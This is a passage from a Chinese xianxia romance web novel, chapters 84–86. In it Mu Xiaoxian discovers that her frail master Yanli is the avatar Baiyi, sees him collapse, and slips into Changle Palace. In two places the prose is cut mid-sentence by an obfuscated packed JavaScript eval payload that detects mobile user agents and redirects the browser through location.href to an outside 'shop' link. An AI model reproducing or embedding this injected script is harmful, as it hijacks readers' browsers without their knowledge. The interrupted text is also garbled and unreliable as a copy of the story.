他身上有没有伤?慕小闲的目光细细在他的每一寸肌肤上探索,却没有发现一丝痕迹。她心里没来由的一阵失落,难道真的是她搞错了,白衣并非晏离。 再往下就不能看了,再看她嘴唇都要咬出血了。 慕小闲拿着长帕上前,对着晏离犯了难,她该怎样将晏离从桶里捞出来? 她微微凑近,指尖挑起晏离垂在脸庞的发丝,心中一动。高挺的鼻梁在苍白的皮肤上投射下淡淡的阴影,肉色的唇瓣微微上翘...... 晏离睫毛轻颤,缓缓睁开墨色的眼眸,迷蒙地看着她,眼中好像蒙上了一层薄雾。细长的眼角流露出三分媚意,一副人畜无害、任君采撷、不采白不采的模样...... 慕小闲呼吸一滞,紧接着鼻子中涌出一股温热...... 内心有一个声音在咆哮:干嘛呀!叫你那么多声都不醒,为什么她刚要下手就醒了?你就不能再多晕一会? 她捂着鼻子悄悄向外挪,真是太丢人了! 她还没安全撤离就被晏离的目光逮住了:“你...... “怎么在这里?” 慕小闲僵硬地转过身,不敢直视他:“我......我见你泡的太久,水一定冷了,所以进来加热水......”说完她就想给自己一拳,加什么热水?你脑子进水了吧? 晏离十分淡定:“水呢?” 慕小闲手里只有一只帕子:“......” 她捂着鼻子发出沉闷的声音:“我忘拿了......” 气氛一时尴尬到了极致,慕小闲为了不在“沉默中灭亡”于是在“沉默中爆发”:“师父,我刚才叫了你几声你都没反应,我以为你晕倒了,所以进来抢救!没想到你自己醒了,哈哈哈哈,挺突然的。” 晏离的眼睫一颤,轻声说:“不小心睡着了。” 慕小闲:???就这? 慕小闲捂着鼻子欲哭无泪...... “你以后要睡觉能不能去床上......” 于是乎,这一场闹剧以慕小闲擅闯晏离房间,被罚抄一百遍心经落幕。慕小闲在黑夜中挑灯夜战,心中哀怨不已,她怎么就弄不明白晏离呢? 若是晏离像华尧那般强硬、如凤钰那般狂傲,她大不了就怼回去,反正晏离也说不过她。但晏离的性子清冷如雪,身体又羸弱如柳枝,她和他的距离近不得远不得,近了怕一个不小心把晏离碰碎了,远了怕他自己就碎了,真是束手无策。 慕小闲也产生了疑惑,在她出现之前,晏离一个人是怎么生活的? 不过,这都不妨碍她对晏离心生怜悯,这样一个冰山美人怎么能让他在眼前融化?哄着呗! 又过几日,晏离气色稍好了些,但依旧虚弱气喘,待在房内的时间更长了,一天到晚也难得出门晒晒太阳。 慕小闲肩上的重任轻了不少,又照例开始每日练功。不破不立,花神山一役,让她的修为有了新的突破,现在阿筝的内丹已能为她所用,身体中的仙力不分彼此。 84. 第 84 章 橘色的云海在遥远的天际翻滚,落日余晖,今日最后一次降落在这片大地上。 慕小闲将晏离扶到院子里坐下,斟了两杯热茶,一杯推到晏离跟前,一杯捧在手里。茶水滚烫,慕小闲拂了拂氤氲水气,小嘬一口,旁敲侧击地问他,为什么气色越发不好了。 晏离坦然答道:“还不是被你气的。” 慕小闲不信,她自知自己没这个本事,故作轻巧地说:“师父,我若是真这么重要,我留下一直陪着你好不好?” 晏离神情凝滞,眼中的慌乱稍纵即逝:“胡说什么。” 慕小闲撇撇嘴,心里莫名有些不舒服,又自顾自地给晏离讲述在花神山发生的事情,不过和白衣相关的事则三言两语轻飘飘带过。晏离听得认真,末了还感叹道,居然还有这样的事。真像是久居桃花源中,不知今世何世的世外仙人。 慕小闲暗暗观察他,多希望能找到一丝他就是白衣的证据,但他没有露出任何破绽。她不自觉微微叹了口气,又问:“师父,神仙都会分身术吗?” 晏离垂眸:“为什么这么问?” 慕小闲挪开视线,目光随意洒在他身后的绿林间,但余光一直停留在他身上:“如果我遇上了一个神仙,如何分辨他是本体还是分身?” 师者,传道受业解惑也。晏离不得不答,“本尊若是比你强大,便不会让你看出来破绽。若是比你体弱......你自然会发觉异样。” 慕小闲若有所思地点点头,白衣的本尊自然比她要强上许多,如果不是花莳作为灵体天生的感知力,她还不知要被蒙在鼓里多久。 在花神山上,白衣的身体变得冰凉通透,她也不是没有察觉,但认知水平不够,哪里能凭空想到还有分身这一说。 慕小闲眼睫一动,在眼下投射一层淡淡的阴影,试探道:“晏离,你能幻化分身吗?” 晏离淡淡看了她一眼,眼神和语气都不见起伏:“若是没有囚仙印的束缚,我可以幻化分身,现在怕是不能了。” 慕小闲低头看了眼他的脚踝,她对晏离的疑虑也有囚仙印的缘故。囚仙印束缚的是本体,对分身有没有影响就不得而知了。 慕小闲抬眼道:“晏离,你的分身是什么样子?” “分身可以幻化成任何样子。” 慕小闲托腮嘟囔道:“做神仙可真方便,只要幻化一个分身就能代替本尊出门办事,如果我会幻化分身,我就可以一直躺在床上哪里也不去了。” 晏离唇边勾起淡淡的笑意,只一瞬,又好似无甚变化。 “分身对本尊是极大的消耗,有时比本尊亲自出门还要辛苦。如果分身遭遇不测,本尊也会感同身受。” 慕小闲心里一颤,放下手紧张道:“分身若是死了,本尊会怎样?” 晏离顿了一下:“会生不如死。” 慕小闲瞳孔一缩,倒吸一口凉气。 晏离幽幽道:“不过一般本尊会在分身死前,将它召回来,不会放任它在外头消散。” 慕小闲舒了一口气,心里渐渐平静下来,看来白衣最后的羽化应当是被召回去了,希望没有让他的本尊受到太重的伤害。 慕小闲起身去厨房打理明日的食材,心不在焉地收拾一会儿,忍不住偷偷跑到门边看晏离在做什么。 晏离倚靠在树下木椅上,修长的手执起一只杯盏,目光飘落于杯中。 他轻轻吹了吹杯中热气腾腾的茶水,肉色的唇瓣浅浅与杯口一触,似乎感应到了什么,抬眼幽幽向她的方向看来。慕小闲屏息躲进了门后,捂着胸口,心里一阵悸动。 好看的人连喝水都是好看的。 这不是重点,重点是...... 那是她的杯子!!! 慕小闲脸上烫的冒出了热气,眯了眯眼,整个人晕晕乎乎。 斗转星移,晏离的身体迟迟不见好,衣服宽大了许多,身体比慕小闲刚来竹屋时更加单薄。慕小闲心里愈发烦躁,烦躁中带着一种不想承认的恐慌。 这几日她顾不上练功,给晏离做了许多大补的菜。晏离虽然每次都会多吃几口,但从神情也能看出食不知味。慕小闲夜里起来几次,偷偷隔着门扉感受晏离的呼吸,稍有不稳,心就揪起,越来越无法按捺心里的不平静。 慕小闲做好菜端上桌,转身去唤晏离,发现他倚在院中的躺椅上轻轻合着眼,呼吸轻柔绵长,似乎是睡熟了,连发梢上沾了一片落叶也未察觉。 睡熟的晏离少了往日的淡漠疏离,多了几分温柔与恬静。眉头舒展开来,柔软的唇瓣微微抿着,下颌与颈线越发清晰深刻。 慕小闲的目光在他脸上留连,呼吸渐渐紊乱,控住不住地靠近。她凑得越来越近,与晏离只有半臂之隔,鼻尖萦绕着他身上清新的气味。不似酒般醇厚,却有醉人的气息。 她心里砰砰直跳,脸上微微发烫,缓缓闭上眼睛,感受两人呼吸交错的气息。 小黄瓜远远地趴在地上,懒散地睁开眼睛,迷瞪地抬起头,惊得睁大了眼睛。 亲亲亲亲亲了......它激动地在院子里没有章法地乱跳起来。 心口酥酥麻麻的滋味蔓延开,她呼吸一滞,再睁开眼时眼神中露出一丝复杂的感情。她对晏离好像不单单是师徒情谊,一见到晏离她整个人就仿佛踩在云上,一颗心忽上忽下地颠簸。 但晏离是遥不可及的。 这份缥缈的感觉又有些难以延续的酸涩。 慕小闲颓然地想着,不知该如何是好,眉宇间浮现淡淡的忧伤。忽然发觉晏离的呼吸顿了一下,猛地直起身体,惊慌失措地走开了几步。 晏离依旧闭着眼,细长的睫毛在微风中轻颤。 他是不是醒了? 他刚才睡着了吗? 他该不会没有睡着吧? 一股羞愧之情冲上头顶,慕小闲连滚带爬地跑出院子,一路小跑窜进竹林中,直到精疲力竭才停下来,抬手轻轻打了自己一巴掌,才发现脸上烫得可以煮鸡蛋了。 林中,八卦的兔子们围在小黄瓜周围,小黄瓜跳上矮木桩,像个小领袖一样“叽叽叽叽”个不停。 下面的红眼兔子惊得张开了三瓣嘴,嘴里衔的嫩草掉在地上。 “你是说...... “他们亲亲亲亲亲......了?” 小黄瓜感动地点点头,眼中泛着激动的泪光。叽!漂亮哥哥和漂亮姐姐! 山中的动物多受晏离的照顾,对于晏离崇敬有加,有时会送来一些新鲜蔬果扔在院外,这几天投食的数量却突然增多了。 动物们并不是抱着投食一位也是投,投食两位也是投的态度,而是被这些天漫天传播的谣言搞懵了。 最开始是有隐秘的小道消息传出,晏离与那个来历不明的混世女魔头关系匪浅,至于有多匪,看那个女人平日里嚣张的态度就一目了然。一众动物打了个哆嗦,天天盼着她能走,没想到从暂住盼成了永居,看来以后日子不好过了。 继而又有一支更加隐晦的消息说,这些事情早有迹象,你们忘了她每次出行,我们举杯欢庆之时,晏离大大的状态都很心不在焉吗...... 但山中也不乏有晏离的思慕者,对外宣称不可能!绝对不可能!晏离大大哪里是心不在焉!他明明是在很认真地在思考仙术好不好? 诸如此类的猜测像是滚雪球一样越滚越大,真相来临之时就会崩塌。 。 入夜,莹莹月色如一帆小舟在清澈的溪流中漂浮,斑驳的树影随风变换,溪水叮咚与树叶簌簌的声音,如缠绵的乐曲交织在一起,拢着一抹深夜的凉意。 晏离修长的身影倚靠在躺椅上,比月色还要清冷的目光越过潺潺流水,跌入密林深渊。 四周安静极了,慕小闲不知去了哪里,连小黄瓜也不见踪迹。他的目光清冷,心底更冷,一丝惧意如同生长的藤蔓缠绕在他的心尖,微微扼制了他的咽喉。 他深吸一口气,面色又沉了几分。他到底还是对她太好了,才会由着她一次又一次不告而别。 空旷的山野仿佛只有他一人,他觉得冷极了,冷得他眼框生疼。 晏离缓缓起身,蹒跚向屋内走,几步之遥,却绵长又无力。 清风扬起他的衣袍,身后突然透过来一层薄光,将他颀长的身影映在竹屋上。晏离停下脚步,缓缓转身。 潺潺溪水散发着莹蓝光泽,如同展开的画卷一般从上游一层一层铺下来,越过礁石,穿过水草,很快涌现至他面前,没有丝毫停留又继续往下游延伸。 零星碎影映在他苍白的面颊上,又增添了一丝清冷恬淡。晏离在风中微微凝滞,脚步不由自主地往前几步,走得比适才要急促几分。 水影晃动,水面泛起一层淡蓝色的泡沫。 莹蓝色的光泽渐渐从水面浮起,在微风中微微一晃,竟如高楼一般升腾而起,形成了一帘轻薄的水幕。 忽如浓烟晕染,绽开了一幕幕别开生面的景象。高楼大厦形成的钢铁森林如同雨后春笋一般一个又一个冒出来,商店的五彩霓虹点亮了长街,映照在高楼的玻璃窗上,如梦似幻,亦真亦假。 川流不息的街道上,玩具一般的小车在红绿灯闪烁后疾驰而过,熙熙攘攘的人群等候在十字路口,街边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137748|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行人来来往往。 学校里一排排桌椅整齐摆放,粉笔在黑板上划下清秀的正楷,学生穿着统一校服、端正地坐在桌前手执课本,教室里读书声朗朗。 几个衣着光鲜的年轻人从高楼里走出来,凑在一起不知说些什么,忽而望着街头橱窗闪烁的荧幕停下了脚步,神色兴奋又期待。 广阔的海边一道跨海大桥连亘数十里,将遥遥相望的大陆两段连接在一起。滨海长廊如一串白皙的珍珠项链镶嵌在大陆与海的交接处,海边巨大的摩天轮缓缓旋转,天际一架飞机穿云而过留下了长长的尾迹。 眼前的景象包罗万千,与青丘山林全然不同,晏离抑住了呼吸,似乎意识到了什么,如雾般的眼眸一眨不眨地凝视着。 慕小闲抱着小黄瓜从竹林深处走出,走到晏离跟前,饶有兴趣地看着他专注的神情,抿嘴笑道:“师父,我记得你说过想看看我生活过的地方,所以自作主张做了一幅水上画卷。凡间有一种叫投影仪的东西,能将景象投射在屏幕上,我正是借了这种办法,用水幕将人间繁华景象呈现出来。 “这就是我生活过的凡间。喏,这栋建筑是我们城市最高的楼,楼顶有一家高级餐厅,听说可以俯瞰全市的风光,视野极好......这条路在我学校附近,路上有很多商品店,我下课之后偶尔会去闲逛......这里有一家烧烤摊味道很好,常年排队,不过晚上九点以后才出摊......” 慕小闲一点一点给晏离介绍她曾经生活的地方,晏离静静地望着那副水上画卷,神情是从未有过的认真。这是她曾经生活过的地方,也是他见所未见的世界。 “你曾经住在这里?”晏离抬手轻点了一下水幕上的某个位置。 慕小闲升天太久,已经对凡间的环境不那么熟悉,她愣了一下,眨眨眼睛:“差不多就是这附近,你怎么知道的?” 晏离沉默须臾,映着各色流光的眼眸微微一动:“有你的气息。” 慕小闲似懂非懂地点点头:“这样都能感觉到......”话锋一转:”我在这里住了八年,这里有很多小朋友,每天都吵吵闹闹的,不过也很有趣。” “他们......” 晏离顿了一下:“对你如何?” 慕小闲猜测晏离或许是想知道自己以前过的好不好,嘴角露出一丝得意的笑:“我在哪儿都能过得很好。” 晏离又陷入沉默,慕小闲眼珠一转,满怀期待地问:“师父,我怕山中烦闷,想逗你开心呢,你不表示一下?” 晏离眼中的冰山消融,唇角化开一抹浅浅的笑意,像沉寂多年绽开的昙花,又仿佛茫茫长夜怦然炸裂的花火,美好得恍然如梦,猝然撞进了慕小闲的心里,拨乱了她的心弦。 晏离唇边的笑还未褪去,却摆起了孤傲的架子:“哪有徒弟这么同师父说话。” 慕小闲顺了顺小黄瓜的毛,讪笑道:“我记得我也没拜师啊。”她确实未拜,因为全部被晏离挡了回去,说要考验她,但后来这个拜师的仪式也就不了了之了。 晏离怎么会不清楚,但其中的缘由现在还没到戳破的时机,他慢慢收了表情,如雾一般的眸子似乎掩盖着某种复杂的情绪,叫人捉摸不透。 慕小闲看在眼里,手上的动作停了下来,气氛一下子变得有些不对劲。 她深吸一口气,望着晏离的眼睛:“师父,你总是一副拒人于千里的样子,会把人吓跑的。” 晏离垂眸,带着一丝不易察觉的苦涩道:“那又如何?” 晏离好像对旁的人毫不在乎,但慕小闲知道事实并非如此,他表现得越是冷漠,心里就越是柔和。这种反差不仅是在消耗他自己,也在折磨身边的人。而慕小闲就是那个被折磨的。 晏离感受到她炙热的目光,微微抬眼向她看去,慕小闲呼吸一颤,极力掩去了目光中的波动。 微风裹挟着竹林的清香轻柔地拂过她的发梢,她眼眶隐隐有些酸涩,不知自己做这些究竟是为了什么,连一句赞扬的话也讨不到。 晏离究竟是如何想的?为何对她时冷时热?她实在分辨不清。 须臾,风中似乎传来一声微弱的叹息,只听晏离淡淡道:“今晚的风景很美。”似乎辗转之下,不经意地流露出一丝无可奈何,但当慕小闲认真分辨时,已消失得无影无踪。 能得晏离一笑一语已是不易,慕小闲抬起头时,眼中又恢复了轻松的神色,带着一丝狡黠说:“我开玩笑的,师父喜欢就好。”然后恍若什么也没发生一般,转头脚步轻快地走回了竹屋。 门扉之后响起窸窸窣窣的声音,慕小闲贴在门后缓缓舒了口气。 85. 第 85 章 那一夜后,晏离眼底的愁绪清浅了许多,如同清晨山间弥漫的薄雾在日晖的照耀下渐渐消散。他还是会独自坐在院子里望着竹林深处出神,倘若听见慕小闲轻快的步子,便会恍然将目光收回来,不着痕迹地落在她身上。只一瞬又悄然挪开。 或许是心照不宣,晏离依旧和她保持着一种若即若离的关系,偶尔一个视若无物的神情就能让她内心拉扯,一个来不及收回的目光就能让她欢欣雀跃。 慕小闲觉得自己魔怔了,晏离就像是一个巨大的漩涡,让她陷进去就再难爬出来。 午时,慕小闲做了一盘新鲜的清炖鸡,满怀期待地想要晏离尝尝,还希望他能表扬几句。谁料晏离的筷子刚放入口中,眉间微微一蹙,立即捂着嘴起身走到一旁。他的胸口剧烈起伏,酸水都吐了出来,额头渗出细密的冷汗,脸色更加惨白,轻薄的身体仿佛要散架一般。 慕小闲此时就像犯了错的小孩站在一旁不知所措。 这些天她每日想着法子做些好菜,晏离吃的不多,身上一点未见丰盈,倒有一种大势已去的颓然。 晏离向她伸出手,她才恍然扶起他,递给他温水漱口,喃喃道:“你最近体弱嗜睡,吃东西又反胃,若你不是男子,我都要以为你是害了身子。”话音未落,慕小闲只觉被一道冰冷的目光摁住了喉咙,赶紧找补:“我瞎说的。” 晏离收回手,又听慕小闲情感深切地感叹道:“如此冰清玉洁,怎么能有别人的孩子。” 晏离的眉梢涌上一丝怒意,狠狠瞪她一眼,倒让慕小闲看出了几分嗔怪,与平日的清冷截然不同。她心中微微一动,继而掩耳盗铃般扯了一下嘴角,将心思混在玩笑中说:“这样脸色好看多了。” 看来晏离沾不得荤腥,她只得换一些清淡的小菜。慕小闲在厨房里忙活,锅碗瓢盆叮叮哐哐地响起来,打破了竹屋的清净,别有一番烟火气。 她略略扫了一眼桌上的厨具,犹记得她好像在哪里瞥了一眼,看见过一只不常用的瓦罐。瓦罐小火慢熬,更能保留食物的原汁原味,将养分充分释放出来,散发出诱人的味道。若是能用瓦罐给晏离炖汤,或许他能吃得下去。 慕小闲俯下身,低头在桌下摆放的瓶瓶罐罐中翻找。撇开几坛子“不可说”,再往深处摸索,就见一口大缸中塞着各式各样的工具。 她眼睛一亮,应当就是这个。 慕小闲取出瓦罐时不小心碰到下层的罐子,擦出了清脆的撞击声。她将瓦罐随手搁置在台上,撩起耳边垂下的头发,弯腰探进桌下,检查是否不小心将大缸中排列的罐子碰碎了。 瓦罐下露出了几只精巧的小陶罐,与其他瓶子不同,陶罐的表层细腻,深彩色带纹样,一拳大小,排成一排,胖胖的很可爱。 她取出一只在手中把玩,忽然脑中涌上一种熟悉的感觉,再定睛一看,竟是越来越眼熟。 她在何处见过这种小陶罐? 她打开罐子,蹙着眉嗅了一下,眸光微微一动。随着指尖的摩挲,她的脑海中走马灯似地闪现一幕幕久远的画面,挂满琳琅满目、五颜六色仙人服饰的房间,幽暗狭窄的幕帘中窥视的目光,雕刻精致的银色面具下清瘦的线条,恍如冬日清晨沁人心脾的气息...... 白皙、纤长又瘦削的手穿过层层帘帐,将一只装满了盐渍青梅的小陶罐轻轻放在了她的掌心。 好似跨越了时间空间,专程为她的到来送上了一份珍贵的礼物。 巧合与怀疑编织成了一张细密的网,她如一只离水的鱼在网中挣扎。 哪有那么多巧合,不过是有心之人的刻意为之。 慕小闲浑身发颤,双手撑在了台上,垂下的头发掩住了她的神情,溢出断断续续、压抑的笑声。她笑得眼泪都出来了,太好了......太好了,白衣真的没死。 晏离就是白衣。 在筹备春桃宴时的匆匆一瞥...... 在北溟海极的大义之举...... 在花神山的倾囊相助与救命之恩...... 原来他一直都在她的身边。 可是为什么? 为什么宁可使用分身也要来到她身边? 为什么不惜牺牲自己也要保护她? 为什么所有的一切都不告诉她? 他做的这一切究竟是为了什么? 无数问题向她抛来,或许一开始就有,但她一直没有发觉。所有的问题最终演变成一个关键:晏离对她是何种感情? 慕小闲不由呼吸一乱,看向门外,一抹清冷的白色一晃而过,她的目光像被针扎了一下猛地收回来。这一眼似乎在她的心里燃起了一簇火苗,渺小、脆弱,仿佛一阵风就能吹灭。小小的火苗陡然一窜,又升高了几寸,随之而来的是心跳加速和一种前所未有的欣喜若狂。 慕小闲将小陶罐贴在胸口上,难以自制地扬起唇角,一想到晏离,整颗心好似都被一种温热的暖流填满。 她揣着小陶罐,转身将瓦罐端到炉子上,目光上上下下扫了一圈,笑着拍了拍脑袋,想:我方才是在做什么来着? 直到视线捕捉到一盆洗好的米,她才突然想起来她想煲一锅粥。她将米倒入锅中,打上水,准备点火,门外突然传来砰的一声。 慕小闲手上一顿,又仔细听了片刻,屋外没有再传来一点声音。 她心中的欣喜突然消散,取而代之的是一丝不安,她顾不得其他,赶忙飞跑出去,就见披着一身白衣的晏离倒在屋前,双目紧闭,脸上没有一丝血色,连呼吸都微不可察。 小黄瓜焦急地在他身边跳来跳去。 “师父......” 一股窒息感向她袭来,慕小闲眨眼间来到晏离跟前,将他扶起。 “师父,你怎么了?你醒醒。”他的身体又轻又冷,平静的面容好像只是睡着了。 慕小闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137749|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中的恐慌翻涌,好像又回到了在花神山亲眼看见白衣消失在她面前一般,她咽了咽喉咙,探向晏离的经脉,惊得呼吸一滞,他的经脉竟像是寸寸断裂。 慕小闲将他抬上床,皱眉看着晏离,心里随着恐惧的渗入一点点崩塌。 她的目光落在他的衣袍上,试图找出问题在哪里,最终落在了他的脚踝。 她轻轻拉开晏离的裤脚,只见紫色的印记像藤萝一般向上攀爬。慕小闲顺势又向上掀了几寸,晏离白皙光洁的小腿上布满了蜿蜒的紫色。她倒吸一口冷气,这是什么? 这样的紫色她再熟悉不过了,这不是普通的囚仙印,是魔族留下的。 晏离的过往愈加扑朔迷离,他究竟遭遇过什么? 慕小闲攥紧了拳头,她虽然不知晏离和魔族有何过节,但却不妨碍她对魔族的恨意愈发浓烈。 她将晏离扶起,盘腿坐在他的身后调息,待到仙力调动起来时,拍出一掌,将身上的仙力贯入晏离的体内,保住他的经脉不继续受损。 白色如薄雾的仙力包裹着晏离的身体,他微微皱起眉,呼吸急促了几分,须臾,眉目舒展开,却没有丝毫转醒的迹象。 慕小闲重伤初愈,仙力在花神山催动锁魂铃时消耗太大,此时又大量输入晏离的体内,很快支撑不住,嘴唇发白,头目晕眩。 看来白衣在花神山受到重击,一定也伤害了晏离的身体。他本就受制于囚仙印,身体孱弱,现在受了重伤愈发是不好了。 慕小闲在力竭之前收回手,缓缓扶着床沿走下来,又扶着门走出小竹屋,漠视了在她脚边乱蹭的小黄瓜,抬眼望向郁郁葱葱的翠竹,只觉得目及之处尽是萧索。 接连几日,慕小闲试过进入晏离的神识,但是却无果,她不但进不去,甚至探寻不到晏离意识的波动。她越发慌乱,不知该如何是好。 慕小闲瘦了一圈,怏怏地趴在晏离的床边。他冷白的皮肤如同寒冰一般,像一具没有生命的雕塑。慕小闲心里一痛,握住他冰凉的手,叹了一口气:“师父,你什么时候才能醒来?” 晏离没有任何回应。 慕小闲又自顾自说起来:“我知道你就是白衣,但我不明白,为什么你会一而再地救我,为什么你让我来找你拜师,为什么将我留在身边?你是不是瞒着我什么?能不能告诉我?” 慕小闲撑起身,目光落在他俊美的容颜上:“你再不醒来,我亲你了。”她作势要亲他,躬下身,缓缓靠近他的睡颜。她用目光一寸一寸勾勒着他的面容,呼吸轻轻落在他如扇的眼睫上,只是靠得再近,晏离也没有反应。 慕小闲轻轻吻在他的额头上,克制又压抑,只是一瞬,她猛地起身,退后一步,扶住门框,将心中翻涌的情绪压下。 她不能再等了,晏离撑不下去了。 她没办法救晏离,只能去长乐宫找白瑶。白瑶是青丘之主,晏离曾经的徒弟,她一定会出手救他。 86. 第 86 章 离开长乐宫数月,再次踏上这片土地,慕小闲心里不免有些唏嘘。 上一次来与走皆不是从正门通过,于是慕小闲临到宏伟的建筑前才发现一个问题:她不知道正门在哪儿。加上长乐宫宫墙上空布有结界,她又费了些功夫,潜入时已至午夜。 慕小闲着深色劲装隐于夜色中,匍匐在建筑的瓦檐上暗中观察。 更深露重,园中的花草沉浸在清冷的月色中,如同披上了一层淡淡的霜华。幽幽灯火点亮了迂回的长廊,如黑暗中渺渺星辰,将花园连成一线。 山中风大,宫殿四处没有遮挡,慕小闲在空旷的屋顶被吹得面目全非,屏息凝神朝下看去,一名巡逻的侍人打着灯笼,东看看西逛逛,在花园中随便晃了两圈便离开了。 慕小闲无语...... 喂喂!你也太随意了吧!园子角落那里站着个黑衣人你看不见? 没错! 园子靠近廊墙的地方,一位全副武装的黑衣人躲在草丛后,身影在寒风中一动不动,几乎和墙壁投下的阴影融为一体,一看就是蹲守很久了。 慕小闲不禁暗道,现在这世道混口饭吃真不容易,连做黑衣人都面临如此激烈的市场竞争。不行,她要去会会这个黑衣人,让他知道这片地盘有主了。 她一跃而下,轻盈落在他面前,冲他挑了挑眉,压着声音问:“这位兄台,你是哪路的?” 黑衣人眯了眯眼,沉默不语,一个翻身越过高墙,向别处遁走。 这么不上道? 慕小闲身形一晃,挡在他面前:“别走嘛,长夜漫漫何必急于一时,我们聊两句呗,交流一下经验。 “你做这个多长时间了,这是第几次来长乐宫?” 黑衣人依旧没有搭理她,灵活地从她面前闪过,跃上房檐。 皓月当空,黑衣人修长的身型裹挟着肃杀之气立在庄严的高墙之上,带着一种骨子里散发出的威严睥睨着整座宫殿。 奇了怪了,他一个黑衣人身上怎么有如此风范? 慕小闲纵身而上,与黑衣人分别站在屋檐的两头对峙,时间一久,就像凝固的两座石雕一般。 黑衣人不想与她纠缠,转头就要再跳下去。 慕小闲:???没完没了是吧? 等等,这个向下跳的姿势...... “诶?我记得你......”慕小闲指着他说:“上次在暗川阴我的就是你!” 不是冤家不聚头,为何她每次来长乐宫都会遇上这个黑衣人?如果不是他,她刚来时也不会被当成刺客误抓。 黑衣人瞥了她一眼,虽然夜色昏暗的看不清楚但慕小闲领会到了轻蔑。那眼神仿佛在说:是又如何?我还敢!然后一头跃进宫墙的另一头。 看他对宫里格局如此熟悉,一定是常来。 “你别跑!”慕小闲随之跃下。 两人在宫内展开了激烈的角逐,在诺大的宫殿屋顶上游走。黑衣人好似故意一般,始终与她保持着一定距离,慕小闲却一直追不上他。 慕小闲无可奈何,在跑跳途中捡起一块石头,向远处砸去,然后惊呼一声:“哇!快看那是什么!” 黑衣人被她的蠢笨惊得呆滞了一秒,就这一秒,慕小闲突然闪现在他面前,“刷”地扯开了他的面巾。 慕小闲洋洋得意的笑容僵在脸上,眨了眨眼睛...... 嘶...... 这黑衣人长得还挺标志...... 竞争果然很激烈,做刺客都需要看颜值。 不对,他这张阴柔的脸,也标志得太过分了吧? 月色下,他白得通透的皮肤没有一丝血色,眸光深邃阴郁,眯着狭长的眼睛阴恻恻地一笑,勾起鲜红的唇角,宛若黑夜降临的吸血鬼...... 慕小闲后退两步,这剧情她也是有点搞不懂了。她什么都能忘,就是见过的美男记得特别清楚。 为何那个在天街有过一面之缘的紫衣吸血鬼会出现在这里?莫非他与青丘有什么渊源? 吸血鬼暴露了真容,倒也不慌张,眼中带着魅惑的神色与一种诡异的压迫感,缓缓向慕小闲靠近一步。 慕小闲跟着后退一步,直觉不妙,他若是寻常仙家,不可能只身多次闯进长乐宫,也不可能让她追了几圈也没近身。 她立马开始套近乎,试探道:“兄台,你记得我吗?当年在天街你把我从仙群中拉出来,带我去一家成衣店买了好多衣服,还送了我一只镯子。” 紫衣吸血鬼面色不改:“哦?我不记得了。” 慕小闲倒吸一口气:“您真是贵人多忘事。不记得没关系,我不和你计较。” 紫衣吸血鬼脸上的笑容扩大,又向慕小闲迈了一步,身上那股少见的压迫感又浓了几分。 慕小闲再次向后退去:“既然相识一场,也是缘分,不如交个朋友?” 紫衣吸血鬼眼波一晃,眼中划过一丝戏谑:“想让我放过你?” 慕小闲大气地挥挥手,豪爽道:“什么放过不放过,我们也算是有些交情,今天这件事我可以当做没看到,你走吧。” 紫衣吸血鬼轻呵一声:“看了我的容貌,你以为今天能逃出去?” 风萧萧兮易水寒,慕小闲觉得山里的风真大,吹得她心里拔凉拔凉。 “你若是没出现在这里,我也看不到你的容貌,要怪就怪你自己大半夜不睡觉出来瞎晃荡。再说没做亏心事,不怕鬼敲门。你这么怕我看到容貌,莫不是做了什么见不得人的事?” 紫衣吸血鬼鲜红的唇角像是刚刚饱餐了一顿,他伸出舌尖舔了舔唇,眼中露出危险的神色:“你猜对了,我就是做了,你能拿我怎样?” 慕小闲欲哭无泪:“你以前可不是这样的。” 紫衣吸血鬼歪了歪头,勾起唇角,冲慕小闲低下头缓缓靠近:“我以前是什么样?” 慕小闲看准时机一把抓住他的衣襟,一声大吼划破夜空:“起床了!抓刺客!”他眼中闪过一丝惊异,没想到她会自爆。 “小妹妹,你是不是这里有点问题?”紫衣吸血鬼指了指头部。 慕小闲气的想捶他:“你上次逃遁害我差点被乱棍打死,此仇不报非君子!” 紫衣挑了下眉,眼里闪过意味不明的光:“跟哥哥说说,是谁要打你?” 慕小闲心里燃起一团火:“别占我便宜!等你被抓了自己去看!” 长乐宫不愧对外宣称戒备森严,慕小闲吼完不久,墙那边就响起嘈杂的脚步声。 “快快快!在那里!” 慕小闲冲紫衣吸血鬼抿嘴一笑:“出来混迟早要还的。” 让人生气的是,紫衣吸血鬼也勾起魅惑的笑容:“是么......让我们拭目以待。” 一般有人说这种话,基本上就没有好事。慕小闲犹豫了一下,不敢判断他是不是故意吓她。但她留了个心眼,在侍卫鱼贯而入时跃上屋檐,留下紫衣吸血鬼孤身面对他们。 侍卫很快包围了院子,最前头的侍卫举起灯笼看了一眼,然后突然魔怔了一般退回原地。就见紫衣吸血鬼抬手点了一下慕小闲的方向,一众侍卫立刻整齐划一地转身、抬头看向她。 慕小闲:???你们看哪里? 侍卫指着慕小闲大叫一声:“在那里!” 黑暗中,一阵“噼里啪啦”的亮武器声,直直向她冲来。 慕小闲后退两步,在夜空中跳跃。于是乎,朗朗月色下出现了这样一行人,前头慕小闲像无头苍蝇一般在宫中逃窜,后头跟着一连串的队伍,在空中划过一道又一道波浪。 瓦砾被踢得啪啪作响,屋里的人纷纷起床、点灯、谩骂。 一时间,各殿灯火通明,恍若一座不夜城。 